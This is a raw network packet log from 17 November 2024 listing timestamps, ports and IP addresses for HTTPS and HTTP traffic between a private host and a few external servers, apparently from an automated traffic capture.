Nov 17, 2024 10:07:18.118495941 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.118495941 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.118496895 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.120439053 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.120529890 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.120619059 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.120750904 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.120791912 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.142362118 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.142519951 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.142621994 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.142848015 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.142848015 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.142859936 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.142868042 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.145694017 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.145785093 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.145893097 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.146009922 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.146029949 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.323760986 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.323944092 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.324045897 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.324125051 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.324170113 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.324207067 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.324223042 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.326767921 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.326855898 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.326963902 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.327115059 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.327140093 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.425708055 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.425740004 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.469611883 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:18.469685078 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:18.660000086 CET	49674	443	192.168.2.6	173.222.162.64
Nov 17, 2024 10:07:18.675592899 CET	49673	443	192.168.2.6	173.222.162.64
Nov 17, 2024 10:07:18.728313923 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:18.734791994 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:18.835807085 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.836528063 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.836585045 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.837038994 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.837054968 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.847165108 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.848639011 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.848655939 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.849337101 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.849344969 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.851759911 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.859126091 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.859190941 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.859699011 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.859714031 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.884716988 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.885236979 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.885261059 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.885668993 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.885678053 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.966403008 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.966484070 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.966552019 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.966757059 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.966794014 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.966821909 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.966836929 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.969734907 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.969767094 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.969885111 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.970083952 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.970107079 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.972477913 CET	49672	443	192.168.2.6	173.222.162.64
Nov 17, 2024 10:07:18.981437922 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.981555939 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.981628895 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.981775045 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.981775045 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.981796980 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.981808901 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.984103918 CET	49744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.984128952 CET	443	49744	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.984206915 CET	49744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.984558105 CET	49744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.984570980 CET	443	49744	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.985534906 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.985883951 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.985940933 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.985996962 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.985996962 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.986023903 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.986047029 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.987911940 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.987953901 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.988037109 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.988229036 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.988260031 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.003890991 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.003906012 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.003926992 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.003942013 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.003953934 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.003962040 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.003966093 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.003977060 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.003979921 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.003994942 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.004018068 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.004035950 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.004275084 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.004293919 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.004307985 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.004318953 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.004318953 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.004331112 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.004347086 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.004383087 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.004985094 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.005032063 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.015638113 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.015782118 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.015842915 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.015923023 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.015935898 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.015952110 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.015959978 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.018181086 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.018204927 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.018306971 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.018589973 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.018604994 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.063719034 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.064174891 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.064204931 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.064640999 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.064655066 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.157818079 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.157833099 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.157843113 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.157922029 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.157969952 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.157980919 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.158020973 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.158044100 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.158169031 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.158210039 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.158215046 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.158233881 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.158246040 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.158255100 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.158282995 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.158823967 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.158834934 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.158845901 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.158869028 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.158880949 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.159054995 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.159107924 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.159132004 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.159142971 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.159153938 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.159166098 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.159171104 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.159178019 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.159200907 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.159213066 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.160116911 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.160156965 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.160177946 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.160197020 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.160207987 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.160212040 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.160229921 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.160245895 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.160264015 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.160276890 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.160298109 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.160320997 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.193721056 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.193885088 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.193969011 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.194050074 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.194109917 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.194149017 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.194164991 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.196705103 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.196791887 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.196893930 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.197161913 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.197215080 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.273200989 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.273214102 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.273324013 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.312513113 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.312567949 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.312577963 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.312604904 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.312628984 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.312634945 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.312654972 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.312669039 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.312674999 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.312705040 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.312714100 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.312738895 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.312752008 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.312776089 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.312781096 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.312817097 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.313051939 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.313095093 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.313163042 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.313209057 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.313221931 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.313242912 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.313247919 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.313277006 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.313282013 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.313309908 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.313322067 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.313349962 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.313538074 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.313570976 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.313580036 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.313606024 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.313620090 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.313637972 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.313644886 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.313673019 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.313673973 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.313705921 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.313714981 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.313741922 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.313744068 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.313771963 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.313785076 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.313833952 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.314352989 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.314385891 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.314392090 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.314419985 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.314423084 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.314454079 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.314459085 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.314487934 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.314496994 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.314522028 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.314522982 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.314557076 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.314565897 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.314591885 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.314603090 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.314629078 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.315247059 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.315279007 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.315288067 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.315321922 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.315332890 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.315367937 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.315371990 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.315402985 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.315413952 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.315437078 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.315455914 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.315471888 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.315473080 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.315505981 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.315511942 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.315551043 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.316039085 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.316080093 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.316092014 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.316128016 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.316134930 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.316162109 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.316195011 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.316217899 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.388422966 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.388468027 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.388478994 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.388489008 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.388550997 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.388550997 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.427706003 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.427762032 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.427794933 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.427810907 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.427829027 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.427829027 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.427855968 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.427865028 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.427874088 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.427907944 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.466650009 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.466660023 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.466744900 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.466756105 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.466766119 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.466792107 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.466816902 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.466829062 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.466844082 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.466844082 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.466873884 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.466969967 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.466983080 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.466991901 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.467010021 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.467036009 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.467140913 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.467152119 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.467163086 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.467180967 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.467210054 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.467278004 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.467294931 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.467308044 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.467324018 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.467335939 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.467580080 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.467617035 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.467633963 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.467636108 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.467657089 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.467663050 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.467669964 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.467681885 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.467691898 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.467720032 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.467926025 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.467963934 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.468070984 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.468084097 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.468101978 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.468110085 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.468112946 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.468137980 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.468161106 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.468375921 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.468386889 CET	80	49726	185.215.113.206	192.168.2.6
